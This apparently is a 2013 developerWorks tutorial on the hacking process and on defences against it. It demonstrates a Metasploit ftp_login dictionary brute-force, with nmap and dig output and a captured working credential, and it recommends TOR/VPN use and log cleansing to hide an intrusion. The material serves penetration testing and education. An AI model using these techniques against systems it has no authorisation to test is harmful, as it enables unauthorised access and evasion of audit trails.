System security and practical penetration testing


It's difficult to ignore the constant stream of news on malware and the latest security breach. Finding a hole in a popular application means breaching not only a single site but the multitude of sites that use that application. This is why staying up to date on the latest application patches is so important. I begin this discussion with a look at some of the trends of modern hacking, based on a generalized model of how attackers find and exploit vulnerabilities. Later I look at some of the tools involved in each stage of an attack and discuss some methods and tools you can use to protect yourself at each stage.

Hacking in some ways has become an automated process. Hacking tool benches have grown in popularity and incorporate a network reconnaissance and probing process, including a catalog of vulnerabilities indexed by application and version. Such tools permit novice hackers to gain access to complex exploits for opportunistic attacks.

One of the most popular frameworks for exploiting vulnerabilities in systems is Metasploit. This framework permits network reconnaissance, target probing (to identify the target's operating system and open ports), and a library of available exploits that can be used to gain access to a system. Metasploit is also highly extensible, permitting user-defined modules for new behaviors. Let's explore the generalized process that hackers use to exploit bugs in a system.

The generalized hacking process

The hacking process is about a plan in evolution. It begins with a goal and, through the availability of touchpoints at the particular target, results in options and subsequently exploits over those options to gain access to a system. I look at the general steps used to gain access to a network-facing system, and then demonstrate some of these steps using readily available open source tools (see Figure 1 for a graphical view of this process).

Figure 1. Generalized hacking process
Four boxes, with reconnaissance,         probe, exploit, and stealth in the boxes.


The first step in the process is to identify the target. In some cases, you may uncover a series of targets, because your initial target may not be immediately available but instead accessible through some other target (requiring a pivot). In most cases, the target is identified as a uniform resource identifier or IP address representing an Internet-facing asset. After you have an IP address (or list of addresses), you can begin the probing process to identify the touchpoints that address exposes.


Probing the target is about identifying the list of touchpoints that have the potential for exploitation. These touchpoints are typically network ports through which applications provide services. After ports are identified, the next step is to categorize these ports as a function of what's running behind them. Consider a web server running on a target machine. Web content is commonly served through port 80 using TCP. Probing this port can yield important information about both the application and the server's operating system through version information that is easily accessible.


With your target and a list of touchpoints available, the next step is the exploitation of those entry points to the target. Using Metasploit, you can look through its catalog of exploits to see whether one exists for your use. Otherwise, you can use tools such as fuzzers to look for bugs (potential vulnerabilities) or use tools to disrupt services (such as those used in denial-of-service [DoS] attacks). More specialized tools, such as those used for injection of Structured Query Language (SQL) commands for execution by a back-end database, can also be used through front-end web servers. Although highly publicized, these types of attacks continue to be used today.

When a system has been compromised, it can be used for more than simply stealing information: It can now be the launchpad for other illegal activity. The hacker can pivot farther into the network, gaining access to more information, or the machine can be converted into a "zombie." Zombie machines can be used (as a collective) to perform distributed DoS (DDoS) attacks on other targets or for mundane tasks such as sending spam email or contributing to distributed "click" fraud.


Concealing your identity is probably the most important aspect of this process. Tools like The Onion Router (TOR), which helps you anonymize your activities, or a virtual private network (VPN) are required to make it more difficult to trace the source. Otherwise, to conceal your work on a target machine, cleanse logs to hide your actions. The final step of the process is to hide your tracks as much as possible by either concealing yourself during the process (VPN, random Wi-Fi hotspot) or hiding any trace of yourself in the system when you're done.

With some of the elements of the basic process outlined, let's explore some of these steps using open source tools.

A simple hacking example

Let's explore a simple example of a brute-force attack on a host. The FTP service is a common endpoint that you can interrogate on a host. It's typically protected through login, but because of haste or complacency, user names and passwords can sometimes be identified through a brute-force attack.

I start with the reconnaissance phase. My target is, and I can easily identify its IP address using nslookup. The nslookup command lets me query Domain Name System (DNS) servers to identify the IP address for a given domain, as shown in Listing 1 (along with a quick test to determine whether FTP is actually running there).

Listing 1. Determining the IP address for a target
$ nslookup

Non-authoritative answer:

$ nmap -F -T4

Starting Nmap 5.51 ( ) at 2013-09-02 14:30 MDT
Nmap scan report for (
Host is up (0.081s latency).
rDNS record for
Not shown: 90 filtered ports
21/tcp  open  ftp
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
465/tcp open  smtps
587/tcp open  submission
993/tcp open  imaps
995/tcp open  pop3s

Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds
$ ftp
Connected to
220 Domain FTP Server ready
Name ( ^C

The Metasploit framework provides several useful exploits, one of which is a brute-force attack on a host or range of hosts. You can specify a user name or password or a file containing common user names and passwords. Let's explore this module within the Metasploit framework.

I begin by starting the Metasploit console and use the ftp_login scanner module:

$ msfconsole
msf > use auxiliary/scanner/ftp/ftp_login 
msf  auxiliary(ftp_login) >

This scanner requires the host I intend to attack and two files representing the user names and passwords to use (one per line). I perform this configuration in Listing 2.

Listing 2. Configuring the ftp_login scanner
msf  auxiliary(ftp_login) > set user_file /root/unix_users.txt
user_file => /root/unix_users.txt
msf  auxiliary(ftp_login) > set pass_file /root/unix_passwords.txt
pass_file => /root/unix_passwords.txt
msf  auxiliary(ftp_login) > set rhosts
rhost =>
msf  auxiliary(ftp_login) >

With my module ready, I use the run command to perform the brute-force attack on the host (shown in Listing 3). As shown, this attack simply attempts a login at the defined FTP server using the historically useful user names and passwords specified. (The result has been reduced for brevity.)

Listing 3. Running the brute-force attack with Metasploit
msf  auxiliary(ftp_login) > run

[*] - Starting FTP login sweep
[*] Connecting to FTP server
[*] Connected to target FTP server.
[*] - FTP Banner: '220-\x0d\x0a220 Domain FTP Server ready\x0d\x0a'
[*] FTP - [001/191] - Attempting FTP login for '':''
[-] FTP - [001/191] - The server rejected username: ''
[*] FTP - [002/191] - Attempting FTP login for '4Dgifts':''
[*] FTP - [002/191] - Failed FTP login for '4Dgifts':''
[*] FTP - [003/191] - Attempting FTP login for 'EZsetup':''
[*] FTP - [003/191] - Failed FTP login for 'EZsetup':''
[*] FTP - [004/191] - Attempting FTP login for 'OutOfBox':''
[*] FTP - [004/191] - Failed FTP login for 'OutOfBox':''
[*] FTP - [005/191] - Attempting FTP login for 'ROOT':''
[-] FTP - [005/191] - Caught EOFError, reconnecting and retrying
[*] Connecting to FTP server
[*] Connected to target FTP server.
[*] FTP - [32/62] - Failed FTP login for 'ROOT':'jackass'
[*] FTP - [33/62] - Attempting FTP login for 'nobody2':'123456'
[*] FTP - [33/62] - Failed FTP login for 'nobody2':'123456'
[*] FTP - [34/62] - Attempting FTP login for 'nobody2':'badone%2'
[+] - Successful FTP login for 'nobody2':'badone%2'
[*] - User 'nobody2' has READ/WRITE access
[*] FTP - [35/62] - Attempting FTP login for 'adm':'123456'
[*] Connecting to FTP server
[*] Connected to target FTP server.
[*] FTP - [53/62] - Failed FTP login for 'www':'inuyasha'
[*] FTP - [54/62] - Attempting FTP login for 'www':'jackass'
[*] FTP - [54/62] - Failed FTP login for 'www':'jackass'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(ftp_login) >

Notice in Listing 3 that Metasploit has iterated the list of user names and passwords, attempting each on the desired host target. In the middle of the listing, you see a successful login for user nobody2, with the identification that Read/Write access is available. A hacker would then take this user name-password combination and attempt a shell login. If access were permitted, the hacker would then conduct a further scan for vulnerabilities to escalate privileges.

This example illustrates one of the simplest attacks that hackers can perform through Metasploit. More complex exploits can also be performed, including buffer overflows over a range of applications and operating systems. Within Metasploit, executing the command search exploits results in an extensive list of exploits and targets (ranging from FTP and HTTP servers to supervisory control and data acquisition systems). Now, let's look at ways in which you can protect yourself from the process that I have outlined.

The tools of the trade

In the prior example, you saw two tools that are well known in both the hacking and the penetration testing communities. Now, let's explore ways in which you can improve the security of your web-facing applications. What you'll find is that the tools designed for harm are the same tools you can use to discover vulnerabilities before they can be exploited.

Reconnaissance tools

The Web is a rich mixture of data and metadata. A plethora of services exist to identify targets based on some amount of information. As you saw in the prior example, it's simple to translate a URL into an IP address using the nslookup command. In a process known as reverse DNS, you can also translate an IP address into a domain name, which can be useful in some cases to trace an address back to a logical entity. You perform a reverse DNS lookup using the host command. Finally, a tool called the DNS Information Groper (DIG), can be used to interrogate DNS name servers about a given domain.

You can find further information about a domain using the whois command. This command can be useful for identifying deeper information about a domain or an IP address within it. Listing 4 illustrates a sample scenario. Say you're looking for a server of example company that's located in Atlanta, Georgia. You start by running dig to identify some of the IP addresses associated with the example domain. When you have that list, you use reverse DNS to identify the host names associated with those addresses until you find the target.

Listing 4. Using the whois and host commands to identify a target
$ dig

; <<>> DiG 9.7.0-P1 <<>>
;; global options: +cmd
;; Got answer:
;; ->>HEADER<< opcode: QUERY, status: NOERROR, id: 50611
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;				IN	A

;; ANSWER SECTION:			295	IN	A			295	IN	A			295	IN	A			295	IN	A

;; Query time: 21 msec
;; WHEN: Mon Sep  2 15:47:44 2013
;; MSG SIZE  rcvd: 120

$ host domain name pointer
$ host domain name pointer
$ host domain name pointer
$ host domain name pointer

Further information can be retrieved using tools like traceroute (which identifies the hops between you and your target). You can gather additional geographical information in traceroute though proxies, which can hide the true location of a server.

Probing tools

When you know a target, the next step is to probe further to understand the ports that are open. The nmap utility provides a wide array of options for exploring the target (as you saw in the example above). Continuing with the prior example, you could use nmap to further identify which ports were open. Listing 5 shows the result of probing the target site, which yields the available ports that are open at that site.

Listing 5. Probing a server for its open ports
$ nmap

Starting Nmap 5.51 ( ) at 2013-09-02 16:20 MDT
Nmap scan report for (
Host is up (0.017s latency).
Not shown: 997 filtered ports
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 5.94 seconds

Although nmap is a Swiss army knife for probing a target, other tools can be used, as well. The McAfee SuperScan utility is ideal for Windows® targets because it exposes specific information such as NetBIOS data. The hping3 packet generator is also useful, though some of its novel features have now been ported into nmap.

Exploitation tools

After a target and ports have been identified, a hacker's next step is to identify which exploits can be used against it. Metasploit offers a large number of exploits over a variety of devices, applications, and versions. Outside of developing a zero day or taking the time to fuzz and identify potential buffer overflow vulnerabilities, hackers attempt to use known defects to gain control of your application.

In addition to Metasploit, hackers use several other tools, including Open Web Application Security Project (OWASP) WebScarab for fuzz testing and sqlmap and sqlninja for SQL injection and database takeover. Other tools used in the hacking community include the Low Orbit Ion Cannon (LOIC), which is used for DoS attacks (or DDoS attacks when used by distributed individuals). LOIC can also be used for stress testing a target site or network, so it has positive uses, as well.

Stealth tools

After a device has been compromised, hackers attempt to hide their trail as much as possible. In most cases, this means cleansing logs to hide the actions that were performed. In some cases, this task can be simplified with automation. The Metasploit framework simplifies log cleansing through simple scripting for single hosts.

Protecting yourself

Reconnaissance tools are about target selection. In most cases, your web assets are well known, and DNS systems provide a wealth of knowledge about them. Some DNS providers conceal your personal information to a certain extent (typically at a cost). Making a web-facing asset available to the public for access means that it is also visible to those who may desire to do it harm, but there are a few things you can do to reduce the footprint of what you expose. Through simple reconnaissance testing, you can see what is exposed externally. Are all of those ports necessary, or can you reduce the number to service only what's necessary for that particular server?

Recall Listing 5, where the example target exposed a limited number of ports. This is a great example of limiting the port exposure as a function of the site's purpose (in this case, a front-end web and FTP service).

For the ports that must be exposed, limit the information that you expose. Recall that hackers exploit the application (identified by the port) and version number, if attainable, to identify whether an existing exploit is available. Security through obscurity is not a security strategy, but don't simplify the job of a hacker.

Recall in the earlier brute-force FTP example, where I identified a valid login through a simple dictionary attack. Configure applications to minimize these attacks by temporarily blocking IP addresses attempting flood-like attacks. Such addresses are easily identified in log files, and blocking the address for a short period of time limits the ability to attack using brute-force methods. A good password strategy should also be in place to avoid these dictionary attacks.

A key element of protection is to ensure that security holes are promptly fixed and that available software is properly configured. Keeping up with software updates or implementing a static and dynamic testing approach within your development can help to minimize the available vulnerabilities to the hacker. Employing penetration testing in your product development cycle can is beneficial for ensuring a minimum attack surface.

A periodic testing strategy is also useful. One example is IBM® Security AppScan® Standard, which provides for the automated scanning of a network to identify vulnerabilities from a constantly expanding database of known exploits. This capability can ensure that the security of your network does not degrade over time.

Finally, modern logging systems make it more difficult to allow a hacker to simply remove events or clear a log. Although centralized logging is simple and efficient, having the ability to provide remote logging through Secure Shell makes it more difficult to simply wipe logs to remove the audit trail. Syslog-NG is one potential solution to this problem.

Going further

This article outlined some of the basic steps that hackers use to find and exploit vulnerabilities in your web-facing application. But as I demonstrated, many of the tools used in the hacking community are also useful as a means to validate your web-facing application. Penetration testing is a growing area of expertise that can be beneficial for finding and plugging security holes in your applications. Many companies, such as Facebook, offer small bounties on unknown exploits within their infrastructure, which tells you that even the largest companies are looking for help in plugging applications' security holes.

Downloadable resources

Related topics

  • Penetration testing has evolved from the new role of the ethical hacker. This individual can be hired to verify (to the best of his or her ability) that your site or application is as secure as possible. Some have argued whether ethical hackers actually exists. The Forbes article "Exploding the Myth of the 'Ethical Hacker'" presents an interesting argument to this debate.
  • Facebook offers a bounty on the discovery and responsible reporting of security issues. You can read more about this at their whitehat program site.
  • During the development of a web-facing application, it's possible to minimize the number of exposed vulnerabilities within the software development life cycle. You can read more about these approaches in "Static and dynamic testing in the software development life cycle" (developerWorks, August 2013).
  • TOR is a distributed network to anonymize Internet traffic between users and endpoint sites. As the name implies, TOR is made up of more than 3000 servers around the world through which a user's traffic is randomly routed through a subset of the available TOR servers. Using encryption at various stages during the routing process, identifying the identity of a user from a TOR exit node becomes difficult. Although the TOR network was constructed in the name of freedom, it has also been used for nefarious purposes.
  • The Metasploit framework includes a database of known exploits along with the ability to write new exploits within its infrastructure. Online, you can read about the latest vulnerabilities within the Vulnerability and Exploit Database.
  • This article introduced several of open source tools used by both blackhat and whitehat hackers:
  • IBM Security AppScan Standard is a professional application vulnerability scanner that offers not only the most advanced automated scanning capabilities but also highly accurate results. For large environments, AppScan Standard can recommend prioritization of remediation as a function of the vulnerabilities found with clean integration with other products in the IBM security portfolio.


Sign in or register to add and subscribe to comments.

ArticleTitle=System security and practical penetration testing